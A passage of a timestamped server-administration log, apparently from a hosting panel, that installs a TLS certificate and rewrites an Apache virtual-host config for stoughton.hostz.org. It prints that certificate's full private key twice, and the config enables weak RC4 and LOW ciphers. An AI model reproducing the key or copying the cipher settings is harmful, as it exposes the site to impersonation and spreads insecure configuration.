MIIFCjCCA/KgAwIBAgISBf1279IbYtFZ9HO0GqLUZzurMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjEyMDUwMTQzWhcNMjYwMzEyMDUwMTQyWjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA6sYSVNVVju8U8Mtg2QoX0zmBGP9aGZILVVhrNIUVz4bxuOJu0Y4z5nCF
SRKUyftqYRr3UQfGfc4NpgM07eDrMajADs8AweyjFXAMOOLyewu5WqDJyqyAiZ1f
PM4SP6j+iQsM7xW+GS5VwOsMQ8KjT6EWKIyt+Jqq9rddbVw4AAe3bzjIKw2rWApx
MFbVoSKb5hGCTYTZY+3R5hs4+XCPhthyOLp5w0jBYHvCbdwK8bHDQkByhBTLi1BW
aY4zwqY66uQZDcNh6KhTm5db8H5wGFK7ThEn8O4Fd4JcHLGVMMUK/kcwdThRpo9x
fgVl/lOsEwMUntepHIiX4cszjpYykQIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRs5l6mgnaq9+Nc5fdTDtga2rw5/jAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3N0b3VnaHRvbi5ob3N0
ei5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy80NC5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAdgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZsRJUTOAAAE
AwBHMEUCIQDJBCOdD8j3hzWU8X4WxtL9TaA6Wf25tuhdQQDpFRxgtgIgZ9iaaIAN
Y8t3ReRkXFRxb23Dqs46B/2KDXbhGOrL4E8AfgClyXiSXVdGF4KHDdiJZgtcVWSL
fQBA8uwHaFHRiGkZ9wAAAZsRJUUGAAgAAAUAK2Iq3wQDAEcwRQIhAKvo8E4zoT5t
ZXDITcEBjsh12cLHxWRrKtdX60PCBiQ7AiAb0UXxoU7RZDVBr1cR7kJU4s9kDE5Q
2lThvUyVQiJ9+TANBgkqhkiG9w0BAQsFAAOCAQEAbOWjvzaYqJwNr5loDUOm8mvF
6vdpRSHCTOMcHKIvKq25W+1ycq3HDR7mUpgXvX9DXSRROHT2Xz1kzfrL/2eTRbjV
qiZ8saFnzGEEhQ+brmO887miKil1//ql86WvK5ksTF+6xZmrJYlrXtIXscVriNZA
IXQpkwhKVXQLm/lo4qfYTRBNmsd0qYvZGT8G2Kq6j95AY3GM7jvczDrEz4K0kY05
p2NcgUPy5mhkYDV7WCC2/0fGhc34qooowPmX2iUiQi8L+cqR4wXlO/sJzbl+ZmlO
z1yPyx74bkFGBXOOwsEZZHS6xWERdxkD+0NsQsJIAfddZxLcAgS70VOsqHWjZQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDqxhJU1VWO7xTw
y2DZChfTOYEY/1oZkgtVWGs0hRXPhvG44m7RjjPmcIVJEpTJ+2phGvdRB8Z9zg2m
AzTt4OsxqMAOzwDB7KMVcAw44vJ7C7laoMnKrICJnV88zhI/qP6JCwzvFb4ZLlXA
6wxDwqNPoRYojK34mqr2t11tXDgAB7dvOMgrDatYCnEwVtWhIpvmEYJNhNlj7dHm
Gzj5cI+G2HI4unnDSMFge8Jt3ArxscNCQHKEFMuLUFZpjjPCpjrq5BkNw2HoqFOb
l1vwfnAYUrtOESfw7gV3glwcsZUwxQr+RzB1OFGmj3F+BWX+U6wTAxSe16kciJfh
yzOOljKRAgMBAAECggEBAJJiRAXPKtS/b8AgH1fUujxCq6MJfIVbEWP6iIWrwYiv
LELKNKzGzMePOxvv0QQLli3L4Y8NmQ7SDqKHd1YnGp7RCEdzfJZt1NXGEmjZ4LUl
/0Fp5chQPKkRjdNc7fXxihuq3zqnxOrwgBmUtQX+81LwLt/Dr6nFznmcpU1N5cDl
3Rhu9iK/9ZKR6tv2KHMT8s5MgOqghivKzUok4cHyXn+3mU9p6efrPSzjcB3d6f+b
IKPiHgv8evZxA1VnM1XeIIgo1pnEp1vFjFcKzzA2q9gJiC1CNUyGru0tYrVySkbO
5L5jN19J2lkJdcq2dKjcIYKFyHp87fojolX4ZmolD5ECgYEA9v5Sd040kv5+XJsY
RABf+h8qnGogdWhKgZ1ZYzawc18ozjhqbT8tn5k9s4gsLikgbK3eOg0e2txVux6T
F50Pdz+4k3+GjpyXuuytElt9WYdM3/t+KF5jU+uBQMKNsCuWuKwTwm2C3cPOObmQ
tPIoWeT9bnpQkzuTVW3bofd/l90CgYEA81WtuNeMISxzJ/xmrhZvvIHpYKWbBweU
MjAyq+zcoyL7CBAnsfCpgyVEesg0VunG3qOnELayItvsSvmfVOyziUW1ayOnAENx
64HISWZ1GADCmJp19q2THFNcqwsfMQMX++VbG0S6Fa0EJWqndAarhbXRGxYw8OjV
23SGv9PZFEUCgYEAtJSOYHHKGGp+omA2ZolLoogk1ET3RD+isY8EKnhym3dIUzWG
Aid9yMD2DouRmZIyBaM85X5wP512BJ++9TW8d/gbj6NeEmhEusKNau1/APTd7Khn
vUX9Iv78+gcEJnhH8u7EZ5M/abndzfBw7wpZHBhCfgJpZKva9Uujl5BnNfUCgYBQ
VUTY9TAp84bA+K7dYkLZNPpbEdEwbOwb9ZWE9NmScgX2D39LW2xbA36sGlRNLTie
X+DTv7znjTthNS/I1awf8YeHK2oCyEFfwqTgtpaJqhaUUsoG+h7LBypcvXs6rw7H
9lwxkGrupQPtZlyKDXmq1u+Fxbm6juOrY7jos4PDEQKBgQCgFng8OWBorI7XYBKx
b+MBjAxS91uHtWAfnW5+x2SFQzX16q7C8OFZy+cyMnopdurWg8oG8dvAHsqYLaLb
/jD1XOSW7wSjaV3lGVrblBuDm1ZpbJKHnm2RzrpHXS01AwEMBV4aUSICLKgmkoWd
C7kMTtpvYPDSrX9jRpReKdDWaw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-12 06:00:18:
chmod 755 /tmp/pkp123949; /tmp/pkp123949; rm /tmp/pkp123949
2025-12-12 06:00:18:
dir=/etc/ssl/certs
2025-12-12 06:00:18:
PUT: /tmp/pkp799843
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hostz_stoughton_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-12 06:00:19:
chmod 755 /tmp/pkp799843; /tmp/pkp799843; rm /tmp/pkp799843
2025-12-12 06:00:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf 42
ServerName stoughton.hostz.org
<VirtualHost *:80>
ServerName stoughton.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_stoughton
<Directory /var/www/hostz_stoughton>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/stoughton_access.log combined
ErrorLog /var/log/apache2/pjy/stoughton_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py index.php
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_stoughton
<Directory /var/www/hostz_stoughton>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
Require all granted
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_stoughton/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/stoughton_secure_access.log combined
ErrorLog /var/log/apache2/pjy/stoughton_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
2025-12-12 06:00:19:
PUT: /tmp/pkp886725
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_stoughton_us.conf
TARGET=/etc/apache2/sites-enabled/hostz_stoughton_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ServerName stoughton.hostz.org
<VirtualHost *:80>
ServerName stoughton.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_stoughton
<Directory /var/www/hostz_stoughton>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/stoughton_access.log combined
ErrorLog /var/log/apache2/pjy/stoughton_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py index.php
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_stoughton
<Directory /var/www/hostz_stoughton>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
Require all granted
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_stoughton/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/stoughton_secure_access.log combined
ErrorLog /var/log/apache2/pjy/stoughton_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hostz_stoughton_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf= 1'
fi
2025-12-12 06:00:19:
chmod 755 /tmp/pkp886725; /tmp/pkp886725; rm /tmp/pkp886725
2025-12-12 06:00:20:
2025-12-12 06:00:20:
PUT: /tmp/pkp248361
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-12 06:00:20:
chmod 755 /tmp/pkp248361; /tmp/pkp248361; rm /tmp/pkp248361
2025-12-12 06:00:20:
.
2025-12-12 06:00:20: Establishing a connection
2025-12-12 06:00:21:
PUT: /tmp/pkp801089
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-12 06:00:22:
chmod 755 /tmp/pkp801089; /tmp/pkp801089; rm /tmp/pkp801089
2025-12-12 06:00:23:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-12-12 06:00:23:
PUT: /tmp/pkp518430
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hostz_stoughton_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-12 06:00:23:
chmod 755 /tmp/pkp518430; /tmp/pkp518430; rm /tmp/pkp518430
2025-12-12 06:00:23:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf 1887
ServerName stoughton.hostz.org
<VirtualHost *:80>
ServerName stoughton.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_stoughton
<Directory /var/www/hostz_stoughton>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/stoughton_access.log combined
ErrorLog /var/log/apache2/pjy/stoughton_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py index.php
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_stoughton
<Directory /var/www/hostz_stoughton>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
Require all granted
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_stoughton/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/stoughton_secure_access.log combined
ErrorLog /var/log/apache2/pjy/stoughton_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
2025-12-12 06:00:23:
PUT: /tmp/pkp441849
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-12 06:00:24:
chmod 755 /tmp/pkp441849; /tmp/pkp441849; rm /tmp/pkp441849
2025-12-12 06:00:24:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d 5373
50:49:fa:c2:16:b0:59:ca:05:77:e1:e1:45:b9:61:97
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBf1279IbYtFZ9HO0GqLUZzurMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjEyMDUwMTQzWhcNMjYwMzEyMDUwMTQyWjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA6sYSVNVVju8U8Mtg2QoX0zmBGP9aGZILVVhrNIUVz4bxuOJu0Y4z5nCF
SRKUyftqYRr3UQfGfc4NpgM07eDrMajADs8AweyjFXAMOOLyewu5WqDJyqyAiZ1f
PM4SP6j+iQsM7xW+GS5VwOsMQ8KjT6EWKIyt+Jqq9rddbVw4AAe3bzjIKw2rWApx
MFbVoSKb5hGCTYTZY+3R5hs4+XCPhthyOLp5w0jBYHvCbdwK8bHDQkByhBTLi1BW
aY4zwqY66uQZDcNh6KhTm5db8H5wGFK7ThEn8O4Fd4JcHLGVMMUK/kcwdThRpo9x
fgVl/lOsEwMUntepHIiX4cszjpYykQIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRs5l6mgnaq9+Nc5fdTDtga2rw5/jAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3N0b3VnaHRvbi5ob3N0
ei5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy80NC5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAdgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZsRJUTOAAAE
AwBHMEUCIQDJBCOdD8j3hzWU8X4WxtL9TaA6Wf25tuhdQQDpFRxgtgIgZ9iaaIAN
Y8t3ReRkXFRxb23Dqs46B/2KDXbhGOrL4E8AfgClyXiSXVdGF4KHDdiJZgtcVWSL
fQBA8uwHaFHRiGkZ9wAAAZsRJUUGAAgAAAUAK2Iq3wQDAEcwRQIhAKvo8E4zoT5t
ZXDITcEBjsh12cLHxWRrKtdX60PCBiQ7AiAb0UXxoU7RZDVBr1cR7kJU4s9kDE5Q
2lThvUyVQiJ9+TANBgkqhkiG9w0BAQsFAAOCAQEAbOWjvzaYqJwNr5loDUOm8mvF
6vdpRSHCTOMcHKIvKq25W+1ycq3HDR7mUpgXvX9DXSRROHT2Xz1kzfrL/2eTRbjV
qiZ8saFnzGEEhQ+brmO887miKil1//ql86WvK5ksTF+6xZmrJYlrXtIXscVriNZA
IXQpkwhKVXQLm/lo4qfYTRBNmsd0qYvZGT8G2Kq6j95AY3GM7jvczDrEz4K0kY05
p2NcgUPy5mhkYDV7WCC2/0fGhc34qooowPmX2iUiQi8L+cqR4wXlO/sJzbl+ZmlO
z1yPyx74bkFGBXOOwsEZZHS6xWERdxkD+0NsQsJIAfddZxLcAgS70VOsqHWjZQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDqxhJU1VWO7xTw
y2DZChfTOYEY/1oZkgtVWGs0hRXPhvG44m7RjjPmcIVJEpTJ+2phGvdRB8Z9zg2m
AzTt4OsxqMAOzwDB7KMVcAw44vJ7C7laoMnKrICJnV88zhI/qP6JCwzvFb4ZLlXA
6wxDwqNPoRYojK34mqr2t11tXDgAB7dvOMgrDatYCnEwVtWhIpvmEYJNhNlj7dHm
Gzj5cI+G2HI4unnDSMFge8Jt3ArxscNCQHKEFMuLUFZpjjPCpjrq5BkNw2HoqFOb
l1vwfnAYUrtOESfw7gV3glwcsZUwxQr+RzB1OFGmj3F+BWX+U6wTAxSe16kciJfh
yzOOljKRAgMBAAECggEBAJJiRAXPKtS/b8AgH1fUujxCq6MJfIVbEWP6iIWrwYiv
LELKNKzGzMePOxvv0QQLli3L4Y8NmQ7SDqKHd1YnGp7RCEdzfJZt1NXGEmjZ4LUl
/0Fp5chQPKkRjdNc7fXxihuq3zqnxOrwgBmUtQX+81LwLt/Dr6nFznmcpU1N5cDl
3Rhu9iK/9ZKR6tv2KHMT8s5MgOqghivKzUok4cHyXn+3mU9p6efrPSzjcB3d6f+b
IKPiHgv8evZxA1VnM1XeIIgo1pnEp1vFjFcKzzA2q9gJiC1CNUyGru0tYrVySkbO
5L5jN19J2lkJdcq2dKjcIYKFyHp87fojolX4ZmolD5ECgYEA9v5Sd040kv5+XJsY
RABf+h8qnGogdWhKgZ1ZYzawc18ozjhqbT8tn5k9s4gsLikgbK3eOg0e2txVux6T
F50Pdz+4k3+GjpyXuuytElt9WYdM3/t+KF5jU+uBQMKNsCuWuKwTwm2C3cPOObmQ
tPIoWeT9bnpQkzuTVW3bofd/l90CgYEA81WtuNeMISxzJ/xmrhZvvIHpYKWbBweU
MjAyq+zcoyL7CBAnsfCpgyVEesg0VunG3qOnELayItvsSvmfVOyziUW1ayOnAENx
64HISWZ1GADCmJp19q2THFNcqwsfMQMX++VbG0S6Fa0EJWqndAarhbXRGxYw8OjV
23SGv9PZFEUCgYEAtJSOYHHKGGp+omA2ZolLoogk1ET3RD+isY8EKnhym3dIUzWG
Aid9yMD2DouRmZIyBaM85X5wP512BJ++9TW8d/gbj6NeEmhEusKNau1/APTd7Khn
vUX9Iv78+gcEJnhH8u7EZ5M/abndzfBw7wpZHBhCfgJpZKva9Uujl5BnNfUCgYBQ
VUTY9TAp84bA+K7dYkLZNPpbEdEwbOwb9ZWE9NmScgX2D39LW2xbA36sGlRNLTie
X+DTv7znjTthNS/I1awf8YeHK2oCyEFfwqTgtpaJqhaUUsoG+h7LBypcvXs6rw7H
9lwxkGrupQPtZlyKDXmq1u+Fxbm6juOrY7jos4PDEQKBgQCgFng8OWBorI7XYBKx
b+MBjAxS91uHtWAfnW5+x2SFQzX16q7C8OFZy+cyMnopdurWg8oG8dvAHsqYLaLb
/jD1XOSW7wSjaV3lGVrblBuDm1ZpbJKHnm2RzrpHXS01AwEMBV4aUSICLKgmkoWd
C7kMTtpvYPDSrX9jRpReKdDWaw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
